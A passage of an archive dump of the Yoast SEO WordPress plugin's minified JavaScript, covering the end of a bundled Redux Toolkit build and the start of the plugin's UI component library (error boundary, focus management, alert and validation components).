0:n.idGenerator)?n.idGenerator(e):K(),p=new u,v=new Promise((function(e,t){return p.signal.addEventListener("abort",(function(){return t({name:"AbortError",message:s||"Aborted"})}))})),y=!1,h=function(){return w(this,null,(function(){var u,s,h,g,b;return f(this,(function(f){switch(f.label){case 0:return f.trys.push([0,4,,5]),null===(m=g=null==(u=null==n?void 0:n.condition)?void 0:u.call(n,e,{getState:c,extra:l}))||"object"!=typeof m||"function"!=typeof m.then?[3,2]:[4,g];case 1:g=f.sent(),f.label=2;case 2:if(!1===g)throw{name:"ConditionError",message:"Aborted due to condition callback returning false."};return y=!0,a(i(d,e,null==(s=null==n?void 0:n.getPendingMeta)?void 0:s.call(n,{requestId:d,arg:e},{getState:c,extra:l}))),[4,Promise.race([v,Promise.resolve(t(e,{dispatch:a,getState:c,extra:l,requestId:d,signal:p.signal,rejectWithValue:function(e,t){return new J(e,t)},fulfillWithValue:function(e,t){return new $(e,t)}})).then((function(t){if(t instanceof J)throw t;return t instanceof $?r(t.payload,d,e,t.meta):r(t,d,e)}))])];case 3:return h=f.sent(),[3,5];case 4:return b=f.sent(),h=b instanceof J?o(null,d,e,b.payload,b.meta):o(b,d,e),[3,5];case 5:return n&&!n.dispatchConditionRejection&&o.match(h)&&h.meta.condition||a(h),[2,h]}var m}))}))}();return Object.assign(h,{abort:function(e){y&&(s=e,p.abort())},requestId:d,arg:e,unwrap:function(){return h.then(Q)}})}}),{pending:i,rejected:o,fulfilled:r,typePrefix:e})}function Q(e){if(e.meta&&e.meta.rejectedWithValue)throw e.payload;if(e.error)throw e.error;return e.payload}var Y=function(e,t){return(n=e)&&"function"==typeof n.match?e.match(t):e(t);var n};function ee(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return function(t){return e.some((function(e){return Y(e,t)}))}}function te(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return function(t){return e.every((function(e){return Y(e,t)}))}}function ne(e,t){if(!e||!e.meta)return!1;var n="string"==typeof e.meta.requestId,r=t.indexOf(e.meta.requestStatus)>-1;return n&&r}function re(e){return"function"==typeof e[0]&&"pending"in e[0]&&"fulfilled"in e[0]&&"rejected"in e[0]}function ie(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return 0===e.length?function(e){return ne(e,["pending"])}:re(e)?function(t){var n=e.map((function(e){return e.pending}));return ee.apply(void 0,n)(t)}:ie()(e[0])}function oe(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return 0===e.length?function(e){return ne(e,["rejected"])}:re(e)?function(t){var n=e.map((function(e){return e.rejected}));return ee.apply(void 0,n)(t)}:oe()(e[0])}function ue(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=function(e){return e&&e.meta&&e.meta.rejectedWithValue};return 0===e.length||re(e)?function(t){return te(oe.apply(void 0,e),n)(t)}:ue()(e[0])}function ae(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return 0===e.length?function(e){return ne(e,["fulfilled"])}:re(e)?function(t){var n=e.map((function(e){return e.fulfilled}));return ee.apply(void 0,n)(t)}:ae()(e[0])}function ce(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return 0===e.length?function(e){return ne(e,["pending","fulfilled","rejected"])}:re(e)?function(t){for(var n=[],r=0,i=e;r<i.length;r++){var o=i[r];n.push(o.pending,o.rejected,o.fulfilled)}return ee.apply(void 0,n)(t)}:ce()(e[0])}var fe=function(e,t){if("function"!=typeof e)throw new TypeError(t+" is not a function")},le=function(){},se=function(e,t){return void 0===t&&(t=le),e.catch(t),e},de=function(e,t){e.addEventListener("abort",t,{once:!0})},pe=function(e,t){var n=e.signal;n.aborted||("reason"in n||Object.defineProperty(n,"reason",{enumerable:!0,value:t,configurable:!0,writable:!0}),e.abort(t))},ve="listener",ye="completed",he="cancelled",ge="task-"+he,be="task-"+ye,me=ve+"-"+he,we=ve+"-"+ye,Oe=function(e){this.code=e,this.name="TaskAbortError",this.message="task "+he+" (reason: "+e+")"},Pe=function(e){if(e.aborted)throw new Oe(e.reason)},je=function(e){return se(new Promise((function(t,n){var r=function(){return n(new Oe(e.reason))};e.aborted?r():de(e,r)})))},Ae=function(e){return function(t){return se(Promise.race([je(e),t]).then((function(t){return Pe(e),t})))}},Se=function(e){var t=Ae(e);return function(e){return t(new Promise((function(t){return setTimeout(t,e)})))}},Ee=Object.assign,ke={},_e="listenerMiddleware",xe=function(e){return function(t){fe(t,"taskExecutor");var n,r=new AbortController;n=r,de(e,(function(){return pe(n,e.reason)}));var i,o,u=(i=function(){return w(void 0,null,(function(){var n;return f(this,(function(i){switch(i.label){case 0:return Pe(e),Pe(r.signal),[4,t({pause:Ae(r.signal),delay:Se(r.signal),signal:r.signal})];case 1:return n=i.sent(),Pe(r.signal),[2,n]}}))}))},o=function(){return pe(r,be)},w(void 0,null,(function(){var e;return f(this,(function(t){switch(t.label){case 0:return t.trys.push([0,3,4,5]),[4,Promise.resolve()];case 1:return t.sent(),[4,i()];case 2:return[2,{status:"ok",value:t.sent()}];case 3:return[2,{status:(e=t.sent())instanceof Oe?"cancelled":"rejected",error:e}];case 4:return null==o||o(),[7];case 5:return[2]}}))})));return{result:Ae(e)(u),cancel:function(){pe(r,ge)}}}},Ie=function(e,t){return function(n,r){return se(function(n,r){return w(void 0,null,(function(){var i,o,u,a;return f(this,(function(c){switch(c.label){case 0:Pe(t),i=function(){},o=new Promise((function(t){i=e({predicate:n,effect:function(e,n){n.unsubscribe(),t([e,n.getState(),n.getOriginalState()])}})})),u=[je(t),o],null!=r&&u.push(new Promise((function(e){return setTimeout(e,r,null)}))),c.label=1;case 1:return c.trys.push([1,,3,4]),[4,Promise.race(u)];case 2:return a=c.sent(),Pe(t),[2,a];case 3:return i(),[7];case 4:return[2]}}))}))}(n,r))}},Me=function(e){var t=e.type,n=e.actionCreator,r=e.matcher,i=e.predicate,o=e.effect;if(t)i=R(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error("Creating or removing a listener requires one of the known fields for matching an action");return fe(o,"options.listener"),{predicate:i,type:t,effect:o}},De=function(e){var t=Me(e),n=t.type,r=t.predicate,i=t.effect;return{id:K(),effect:i,type:n,predicate:r,pending:new Set,unsubscribe:function(){throw new Error("Unsubscribe not initialized")}}},Te=function(e){return function(){e.forEach(Fe),e.clear()}},Re=function(e,t,n){try{e(t,n)}catch(e){setTimeout((function(){throw e}),0)}},Ce=R(_e+"/add"),ze=R(_e+"/removeAll"),Le=R(_e+"/remove"),Ve=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];console.error.apply(console,l([_e+"/error"],e))},Fe=function(e){e.pending.forEach((function(e){pe(e,me)}))};function qe(e){var t=this;void 0===e&&(e={});var n=new Map,r=e.extra,i=e.onError,o=void 0===i?Ve:i;fe(o,"onError");var u=function(e){for(var t=0,r=Array.from(n.values());t<r.length;t++){var i=r[t];if(e(i))return i}},a=function(e){var t=u((function(t){return t.effect===e.effect}));return t||(t=De(e)),function(e){return e.unsubscribe=function(){return n.delete(e.id)},n.set(e.id,e),function(t){e.unsubscribe(),(null==t?void 0:t.cancelActive)&&Fe(e)}}(t)},c=function(e){var t=Me(e),n=t.type,r=t.effect,i=t.predicate,o=u((function(e){return("string"==typeof n?e.type===n:e.predicate===i)&&e.effect===r}));return o&&(o.unsubscribe(),e.cancelActive&&Fe(o)),!!o},l=function(e,i,u,c){return w(t,null,(function(){var t,l,s;return f(this,(function(f){switch(f.label){case 0:t=new AbortController,l=Ie(a,t.signal),f.label=1;case 1:return f.trys.push([1,3,4,5]),e.pending.add(t),[4,Promise.resolve(e.effect(i,Ee({},u,{getOriginalState:c,condition:function(e,t){return l(e,t).then(Boolean)},take:l,delay:Se(t.signal),pause:Ae(t.signal),extra:r,signal:t.signal,fork:xe(t.signal),unsubscribe:e.unsubscribe,subscribe:function(){n.set(e.id,e)},cancelActiveListeners:function(){e.pending.forEach((function(e,n,r){e!==t&&(pe(e,me),r.delete(e))}))}})))];case 2:return f.sent(),[3,5];case 3:return(s=f.sent())instanceof Oe||Re(o,s,{raisedBy:"effect"}),[3,5];case 4:return pe(t,we),e.pending.delete(t),[7];case 5:return[2]}}))}))},s=Te(n);return{middleware:function(e){return function(t){return function(r){if(Ce.match(r))return a(r.payload);if(!ze.match(r)){if(Le.match(r))return c(r.payload);var i,u=e.getState(),f=function(){if(u===ke)throw new Error(_e+": getOriginalState can only be called synchronously");return u};try{if(i=t(r),n.size>0)for(var d=e.getState(),p=Array.from(n.values()),v=0,y=p;v<y.length;v++){var h=y[v],g=!1;try{g=h.predicate(r,d,u)}catch(e){g=!1,Re(o,e,{raisedBy:"predicate"})}g&&l(h,r,e,f)}}finally{u=ke}return i}s()}}},startListening:a,stopListening:c,clearListeners:s}}(0,e.pV)()})(),(window.yoast=window.yoast||{}).reduxJsToolkit=r})();wordpress-seo/js/dist/externals/uiLibrary.js000064400000412545147510273070015265 0ustar00(()=>{var e={35800:function(e,t,n){!function(e,t){"use strict";function n(e){if(e&&e.__esModule)return e;var t=Object.create(null);return e&&Object.keys(e).forEach((function(n){if("default"!==n){var a=Object.getOwnPropertyDescriptor(e,n);Object.defineProperty(t,n,a.get?a:{enumerable:!0,get:function(){return e[n]}})}})),t.default=e,Object.freeze(t)}var a=n(t);function r(e,t){return r=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e},r(e,t)}var s={error:null},o=function(e){function t(){for(var t,n=arguments.length,a=new Array(n),r=0;r<n;r++)a[r]=arguments[r];return(t=e.call.apply(e,[this].concat(a))||this).state=s,t.resetErrorBoundary=function(){for(var e,n=arguments.length,a=new Array(n),r=0;r<n;r++)a[r]=arguments[r];null==t.props.onReset||(e=t.props).onReset.apply(e,a),t.reset()},t}var n,o;o=e,(n=t).prototype=Object.create(o.prototype),n.prototype.constructor=n,r(n,o),t.getDerivedStateFromError=function(e){return{error:e}};var i=t.prototype;return i.reset=function(){this.setState(s)},i.componentDidCatch=function(e,t){var n,a;null==(n=(a=this.props).onError)||n.call(a,e,t)},i.componentDidUpdate=function(e,t){var n,a,r,s,o=this.state.error,i=this.props.resetKeys;null!==o&&null!==t.error&&(void 0===(r=e.resetKeys)&&(r=[]),void 0===(s=i)&&(s=[]),r.length!==s.length||r.some((function(e,t){return!Object.is(e,s[t])})))&&(null==(n=(a=this.props).onResetKeysChange)||n.call(a,e.resetKeys,i),this.reset())},i.render=function(){var e=this.state.error,t=this.props,n=t.fallbackRender,r=t.FallbackComponent,s=t.fallback;if(null!==e){var o={error:e,resetErrorBoundary:this.resetErrorBoundary};if(a.isValidElement(s))return s;if("function"==typeof n)return n(o);if(r)return a.createElement(r,o);throw new Error("react-error-boundary requires either a fallback, fallbackRender, or FallbackComponent prop")}return this.props.children},t}(a.Component);e.ErrorBoundary=o,e.useErrorHandler=function(e){var t=a.useState(null),n=t[0],r=t[1];if(null!=e)throw e;if(null!=n)throw n;return r},e.withErrorBoundary=function(e,t){var n=function(n){return a.createElement(o,t,a.createElement(e,n))},r=e.displayName||e.name||"Unknown";return n.displayName="withErrorBoundary("+r+")",n},Object.defineProperty(e,"__esModule",{value:!0})}(t,n(99196))},44896:(e,t)=>{var n;!function(){"use strict";var a={}.hasOwnProperty;function r(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var s=typeof n;if("string"===s||"number"===s)e.push(n);else if(Array.isArray(n)){if(n.length){var o=r.apply(null,n);o&&e.push(o)}}else if("object"===s){if(n.toString!==Object.prototype.toString&&!n.toString.toString().includes("[native code]")){e.push(n.toString());continue}for(var i in n)a.call(n,i)&&n[i]&&e.push(i)}}}return e.join(" ")}e.exports?(r.default=r,e.exports=r):void 0===(n=function(){return r}.apply(t,[]))||(e.exports=n)}()},99196:e=>{"use strict";e.exports=window.React}},t={};function n(a){var r=t[a];if(void 0!==r)return r.exports;var s=t[a]={exports:{}};return e[a].call(s.exports,s,s.exports,n),s.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var a in t)n.o(t,a)&&!n.o(e,a)&&Object.defineProperty(e,a,{enumerable:!0,get:t[a]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var a={};(()=>{"use strict";function e(){return e=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var a in n)Object.prototype.hasOwnProperty.call(n,a)&&(e[a]=n[a])}return e},e.apply(this,arguments)}n.r(a),n.d(a,{Alert:()=>C,Autocomplete:()=>Pt,AutocompleteField:()=>Oa,Badge:()=>Ft,Button:()=>Bt,Card:()=>_a,Checkbox:()=>Vt,CheckboxGroup:()=>Ia,ChildrenLimiter:()=>za,Code:()=>Kt,ErrorBoundary:()=>Gt,FILE_IMPORT_STATUS:()=>Za,FeatureUpsell:()=>Wa,FileImport:()=>nr,Label:()=>zt,Link:()=>Zt,Modal:()=>Qr,Notifications:()=>ns,Pagination:()=>fs,Paper:()=>an,ProgressBar:()=>sn,Radio:()=>ln,RadioGroup:()=>vs,Root:()=>Es,Select:()=>Ln,SelectField:()=>Rs,SidebarNavigation:()=>zs,SkeletonLoader:()=>Fn,Spinner:()=>qt,Table:()=>zn,TagField:()=>Vs,TagInput:()=>Wn,TextField:()=>Ws,TextInput:()=>Gn,Textarea:()=>Yn,TextareaField:()=>Gs,Title:()=>Jn,Toast:()=>ia,Toggle:()=>Na,ToggleField:()=>Ys,Tooltip:()=>Ra,TooltipContainer:()=>Js,TooltipTrigger:()=>eo,TooltipWithContext:()=>to,VALIDATION_ICON_MAP:()=>b,VALIDATION_VARIANTS:()=>y,ValidationIcon:()=>h,ValidationInput:()=>Rt,ValidationMessage:()=>x,useBeforeUnload:()=>no,useDescribedBy:()=>wa,useKeydown:()=>ao,useMediaQuery:()=>oo,useModalContext:()=>Vr,useNavigationContext:()=>Bs,useNotificationsContext:()=>Zr,usePrevious:()=>ro,useRootContext:()=>so,useSvgAria:()=>d,useToastContext:()=>ta,useToggleState:()=>Ba,useTooltipContext:()=>Xs});var t=n(44896),r=n.n(t);const s=window.yoast.propTypes;var o=n.n(s),i=n(99196),l=n.n(i);const c=window.lodash,d=(e=null)=>(0,i.useMemo)((()=>{const t={role:"img","aria-hidden":"true"};return null!==e&&(t.focusable=e?"true":"false"),t}),[e]),u=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{fillRule:"evenodd",d:"M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z",clipRule:"evenodd"}))})),p=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{fillRule:"evenodd",d:"M8.257 3.099c.765-1.36 2.722-1.36 3.486 0l5.58 9.92c.75 1.334-.213 2.98-1.742 2.98H4.42c-1.53 0-2.493-1.646-1.743-2.98l5.58-9.92zM11 13a1 1 0 11-2 0 1 1 0 012 0zm-1-8a1 1 0 00-1 1v3a1 1 0 002 0V6a1 1 0 00-1-1z",clipRule:"evenodd"}))})),m=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{fillRule:"evenodd",d:"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z",clipRule:"evenodd"}))})),f=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{fillRule:"evenodd",d:"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z",clipRule:"evenodd"}))})),y={success:"success",warning:"warning",info:"info",error:"error"},b={success:u,warning:p,info:m,error:f},v={variant:{success:"yst-validation-icon--success",warning:"yst-validation-icon--warning",info:"yst-validation-icon--info",error:"yst-validation-icon--error"}},g=({variant:t="info",className:n="",...a})=>{const s=(0,i.useMemo)((()=>b[t]),[t]),o=d();return s?l().createElement(s,e({},o,a,{className:r()("yst-validation-icon",v.variant[t],n)})):null};g.propTypes={variant:o().oneOf((0,c.values)(y)),className:o().string};const h=g,N={variant:{success:"yst-validation-message--success",warning:"yst-validation-message--warning",info:"yst-validation-message--info",error:"yst-validation-message--error"}},E=({as:t="p",variant:n="info",children:a,className:s="",...o})=>l().createElement(t,e({},o,{className:r()("yst-validation-message",N.variant[n],s)}),a);E.propTypes={as:o().elementType,variant:o().oneOf((0,c.keys)(N.variant)),message:o().node,className:o().string,children:o().node.isRequired};const x=E,R={variant:{info:"yst-alert--info",warning:"yst-alert--warning",success:"yst-alert--success",error:"yst-alert--error"}},w={alert:"alert",status:"status"},T=(0,i.forwardRef)((({children:t,role:n="status",as:a="span",variant:s="info",className:o="",...i},c)=>l().createElement(a,e({ref:c,className:r()("yst-alert",R.variant[s],o),role:w[n]},i),l().createElement(h,{variant:s,className:"yst-alert__icon"}),l().createElement(x,{as:"div",variant:s,className:"yst-alert__message"},t)))),O={children:o().node.isRequired,as:o().elementType,variant:o().oneOf(Object.keys(R.variant)),className:o().string,role:o().oneOf(Object.keys(w))};T.displayName="Alert",T.propTypes=O,T.defaultProps={as:"span",variant:"info",className:"",role:"status"};const C=T;var S=Object.defineProperty,k=(e,t,n)=>(((e,t,n)=>{t in e?S(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n})(e,"symbol"!=typeof t?t+"":t,n),n);let P=new class{constructor(){k(this,"current",this.detect()),k(this,"handoffState","pending"),k(this,"currentId",0)}set(e){this.current!==e&&(this.handoffState="pending",this.currentId=0,this.current=e)}reset(){this.set(this.detect())}nextId(){return++this.currentId}get isServer(){return"server"===this.current}get isClient(){return"client"===this.current}detect(){return"undefined"==typeof window||"undefined"==typeof document?"server":"client"}handoff(){"pending"===this.handoffState&&(this.handoffState="complete")}get isHandoffComplete(){return"complete"===this.handoffState}},_=(e,t)=>{P.isServer?(0,i.useEffect)(e,t):(0,i.useLayoutEffect)(e,t)};function L(e){let t=(0,i.useRef)(e);return _((()=>{t.current=e}),[e]),t}function I(e,t){let[n,a]=(0,i.useState)(e),r=L(e);return _((()=>a(r.current)),[r,a,...t]),n}function F(e){"function"==typeof queueMicrotask?queueMicrotask(e):Promise.resolve().then(e).catch((e=>setTimeout((()=>{throw e}))))}function D(){let e=[],t=[],n={enqueue(e){t.push(e)},addEventListener:(e,t,a,r)=>(e.addEventListener(t,a,r),n.add((()=>e.removeEventListener(t,a,r)))),requestAnimationFrame(...e){let t=requestAnimationFrame(...e);return n.add((()=>cancelAnimationFrame(t)))},nextFrame:(...e)=>n.requestAnimationFrame((()=>n.requestAnimationFrame(...e))),setTimeout(...e){let t=setTimeout(...e);return n.add((()=>clearTimeout(t)))},microTask(...e){let t={current:!0};return F((()=>{t.current&&e[0]()})),n.add((()=>{t.current=!1}))},add:t=>(e.push(t),()=>{let n=e.indexOf(t);if(n>=0){let[t]=e.splice(n,1);t()}}),dispose(){for(let t of e.splice(0))t()},async workQueue(){for(let e of t.splice(0))await e()}};return n}function M(){let[e]=(0,i.useState)(D);return(0,i.useEffect)((()=>()=>e.dispose()),[e]),e}let q=function(e){let t=L(e);return i.useCallback(((...e)=>t.current(...e)),[t])};function A(){let[e,t]=(0,i.useState)(P.isHandoffComplete);return e&&!1===P.isHandoffComplete&&t(!1),(0,i.useEffect)((()=>{!0!==e&&t(!0)}),[e]),(0,i.useEffect)((()=>P.handoff()),[]),e}var j;let B=null!=(j=i.useId)?j:function(){let e=A(),[t,n]=i.useState(e?()=>P.nextId():null);return _((()=>{null===t&&n(P.nextId())}),[t]),null!=t?""+t:void 0};function H(e,t,...n){if(e in t){let a=t[e];return"function"==typeof a?a(...n):a}let a=new Error(`Tried to handle "${e}" but there is no handler defined. Only defined handlers are: ${Object.keys(t).map((e=>`"${e}"`)).join(", ")}.`);throw Error.captureStackTrace&&Error.captureStackTrace(a,H),a}function z(e){return P.isServer?null:e instanceof Node?e.ownerDocument:null!=e&&e.hasOwnProperty("current")&&e.current instanceof Node?e.current.ownerDocument:document}let $=["[contentEditable=true]","[tabindex]","a[href]","area[href]","button:not([disabled])","iframe","input:not([disabled])","select:not([disabled])","textarea:not([disabled])"].map((e=>`${e}:not([tabindex='-1'])`)).join(",");var V,U,W=(e=>(e[e.First=1]="First",e[e.Previous=2]="Previous",e[e.Next=4]="Next",e[e.Last=8]="Last",e[e.WrapAround=16]="WrapAround",e[e.NoScroll=32]="NoScroll",e))(W||{}),K=((U=K||{})[U.Error=0]="Error",U[U.Overflow=1]="Overflow",U[U.Success=2]="Success",U[U.Underflow=3]="Underflow",U),G=((V=G||{})[V.Previous=-1]="Previous",V[V.Next=1]="Next",V);var Q=(e=>(e[e.Strict=0]="Strict",e[e.Loose=1]="Loose",e))(Q||{});function Y(e,t=0){var n;return e!==(null==(n=z(e))?void 0:n.body)&&H(t,{0:()=>e.matches($),1(){let t=e;for(;null!==t;){if(t.matches($))return!0;t=t.parentElement}return!1}})}function Z(e){null==e||e.focus({preventScroll:!0})}let X=["textarea","input"].join(",");function J(e,t=(e=>e)){return e.slice().sort(((e,n)=>{let a=t(e),r=t(n);if(null===a||null===r)return 0;let s=a.compareDocumentPosition(r);return s&Node.DOCUMENT_POSITION_FOLLOWING?-1:s&Node.DOCUMENT_POSITION_PRECEDING?1:0}))}function ee(e,t,{sorted:n=!0,relativeTo:a=null,skipElements:r=[]}={}){let s=Array.isArray(e)?e.length>0?e[0].ownerDocument:document:e.ownerDocument,o=Array.isArray(e)?n?J(e):e:function(e=document.body){return null==e?[]:Array.from(e.querySelectorAll($)).sort(((e,t)=>Math.sign((e.tabIndex||Number.MAX_SAFE_INTEGER)-(t.tabIndex||Number.MAX_SAFE_INTEGER))))}(e);r.length>0&&o.length>1&&(o=o.filter((e=>!r.includes(e)))),a=null!=a?a:s.activeElement;let i,l=(()=>{if(5&t)return 1;if(10&t)return-1;throw new Error("Missing Focus.First, Focus.Previous, Focus.Next or Focus.Last")})(),c=(()=>{if(1&t)return 0;if(2&t)return Math.max(0,o.indexOf(a))-1;if(4&t)return Math.max(0,o.indexOf(a))+1;if(8&t)return o.length-1;throw new Error("Missing Focus.First, Focus.Previous, Focus.Next or Focus.Last")})(),d=32&t?{preventScroll:!0}:{},u=0,p=o.length;do{if(u>=p||u+p<=0)return 0;let e=c+u;if(16&t)e=(e+p)%p;else{if(e<0)return 3;if(e>=p)return 1}i=o[e],null==i||i.focus(d),u+=l}while(i!==s.activeElement);return 6&t&&function(e){var t,n;return null!=(n=null==(t=null==e?void 0:e.matches)?void 0:t.call(e,X))&&n}(i)&&i.select(),i.hasAttribute("tabindex")||i.setAttribute("tabindex","0"),2}function te(e,t,n){let a=L(t);(0,i.useEffect)((()=>{function t(e){a.current(e)}return document.addEventListener(e,t,n),()=>document.removeEventListener(e,t,n)}),[e,n])}function ne(e,t,n=!0){let a=(0,i.useRef)(!1);function r(n,r){if(!a.current||n.defaultPrevented)return;let s=function e(t){return"function"==typeof t?e(t()):Array.isArray(t)||t instanceof Set?t:[t]}(e),o=r(n);if(null!==o&&o.getRootNode().contains(o)){for(let e of s){if(null===e)continue;let t=e instanceof HTMLElement?e:e.current;if(null!=t&&t.contains(o)||n.composed&&n.composedPath().includes(t))return}return!Y(o,Q.Loose)&&-1!==o.tabIndex&&n.preventDefault(),t(n,o)}}(0,i.useEffect)((()=>{requestAnimationFrame((()=>{a.current=n}))}),[n]);let s=(0,i.useRef)(null);te("mousedown",(e=>{var t,n;a.current&&(s.current=(null==(n=null==(t=e.composedPath)?void 0:t.call(e))?void 0:n[0])||e.target)}),!0),te("click",(e=>{!s.current||(r(e,(()=>s.current)),s.current=null)}),!0),te("blur",(e=>r(e,(()=>window.document.activeElement instanceof HTMLIFrameElement?window.document.activeElement:null))),!0)}function ae(e){var t;if(e.type)return e.type;let n=null!=(t=e.as)?t:"button";return"string"==typeof n&&"button"===n.toLowerCase()?"button":void 0}function re(e,t){let[n,a]=(0,i.useState)((()=>ae(e)));return _((()=>{a(ae(e))}),[e.type,e.as]),_((()=>{n||!t.current||t.current instanceof HTMLButtonElement&&!t.current.hasAttribute("type")&&a("button")}),[n,t]),n}let se=Symbol();function oe(e,t=!0){return Object.assign(e,{[se]:t})}function ie(...e){let t=(0,i.useRef)(e);(0,i.useEffect)((()=>{t.current=e}),[e]);let n=q((e=>{for(let n of t.current)null!=n&&("function"==typeof n?n(e):n.current=e)}));return e.every((e=>null==e||(null==e?void 0:e[se])))?void 0:n}var le=(e=>(e[e.First=0]="First",e[e.Previous=1]="Previous",e[e.Next=2]="Next",e[e.Last=3]="Last",e[e.Specific=4]="Specific",e[e.Nothing=5]="Nothing",e))(le||{});function ce(e,t){let n=t.resolveItems();if(n.length<=0)return null;let a=t.resolveActiveIndex(),r=null!=a?a:-1,s=(()=>{switch(e.focus){case 0:return n.findIndex((e=>!t.resolveDisabled(e)));case 1:{let e=n.slice().reverse().findIndex(((e,n,a)=>!(-1!==r&&a.length-n-1>=r||t.resolveDisabled(e))));return-1===e?e:n.length-1-e}case 2:return n.findIndex(((e,n)=>!(n<=r||t.resolveDisabled(e))));case 3:{let e=n.slice().reverse().findIndex((e=>!t.resolveDisabled(e)));return-1===e?e:n.length-1-e}case 4:return n.findIndex((n=>t.resolveId(n)===e.id));case 5:return null;default:!function(e){throw new Error("Unexpected object: "+e)}(e)}})();return-1===s?a:s}function de(...e){return e.filter(Boolean).join(" ")}var ue,pe=((ue=pe||{})[ue.None=0]="None",ue[ue.RenderStrategy=1]="RenderStrategy",ue[ue.Static=2]="Static",ue),me=(e=>(e[e.Unmount=0]="Unmount",e[e.Hidden=1]="Hidden",e))(me||{});function fe({ourProps:e,theirProps:t,slot:n,defaultTag:a,features:r,visible:s=!0,name:o}){let i=be(t,e);if(s)return ye(i,n,a,o);let l=null!=r?r:0;if(2&l){let{static:e=!1,...t}=i;if(e)return ye(t,n,a,o)}if(1&l){let{unmount:e=!0,...t}=i;return H(e?0:1,{0:()=>null,1:()=>ye({...t,hidden:!0,style:{display:"none"}},n,a,o)})}return ye(i,n,a,o)}function ye(e,t={},n,a){var r;let{as:s=n,children:o,refName:l="ref",...c}=he(e,["unmount","static"]),d=void 0!==e.ref?{[l]:e.ref}:{},u="function"==typeof o?o(t):o;c.className&&"function"==typeof c.className&&(c.className=c.className(t));let p={};if(t){let e=!1,n=[];for(let[a,r]of Object.entries(t))"boolean"==typeof r&&(e=!0),!0===r&&n.push(a);e&&(p["data-headlessui-state"]=n.join(" "))}if(s===i.Fragment&&Object.keys(ge(c)).length>0){if(!(0,i.isValidElement)(u)||Array.isArray(u)&&u.length>1)throw new Error(['Passing props on "Fragment"!',"",`The current component <${a} /> is rendering a "Fragment".`,"However we need to passthrough the following props:",Object.keys(c).map((e=>`  - ${e}`)).join("\n"),"","You can apply a few solutions:",['Add an `as="..."` prop, to ensure that we render an actual element instead of a "Fragment".',"Render a single element as the child so that we can forward the props onto that element."].map((e=>`  - ${e}`)).join("\n")].join("\n"));let e=de(null==(r=u.props)?void 0:r.className,c.className),t=e?{className:e}:{};return(0,i.cloneElement)(u,Object.assign({},be(u.props,ge(he(c,["ref"]))),p,d,function(...e){return{ref:e.every((e=>null==e))?void 0:t=>{for(let n of e)null!=n&&("function"==typeof n?n(t):n.current=t)}}}(u.ref,d.ref),t))}return(0,i.createElement)(s,Object.assign({},he(c,["ref"]),s!==i.Fragment&&d,s!==i.Fragment&&p),u)}function be(...e){if(0===e.length)return{};if(1===e.length)return e[0];let t={},n={};for(let a of e)for(let e in a)e.startsWith("on")&&"function"==typeof a[e]?(null!=n[e]||(n[e]=[]),n[e].push(a[e])):t[e]=a[e];if(t.disabled||t["aria-disabled"])return Object.assign(t,Object.fromEntries(Object.keys(n).map((e=>[e,void 0]))));for(let e in n)Object.assign(t,{[e](t,...a){let r=n[e];for(let e of r){if((t instanceof Event||(null==t?void 0:t.nativeEvent)instanceof Event)&&t.defaultPrevented)return;e(t,...a)}}});return t}function ve(e){var t;return Object.assign((0,i.forwardRef)(e),{displayName:null!=(t=e.displayName)?t:e.name})}function ge(e){let t=Object.assign({},e);for(let e in t)void 0===t[e]&&delete t[e];return t}function he(e,t=[]){let n=Object.assign({},e);for(let e of t)e in n&&delete n[e];return n}function Ne(e){let t=e.parentElement,n=null;for(;t&&!(t instanceof HTMLFieldSetElement);)t instanceof HTMLLegendElement&&(n=t),t=t.parentElement;let a=""===(null==t?void 0:t.getAttribute("disabled"));return(!a||!function(e){if(!e)return!1;let t=e.previousElementSibling;for(;null!==t;){if(t instanceof HTMLLegendElement)return!1;t=t.previousElementSibling}return!0}(n))&&a}function Ee(e={},t=null,n=[]){for(let[a,r]of Object.entries(e))Re(n,xe(t,a),r);return n}function xe(e,t){return e?e+"["+t+"]":t}function 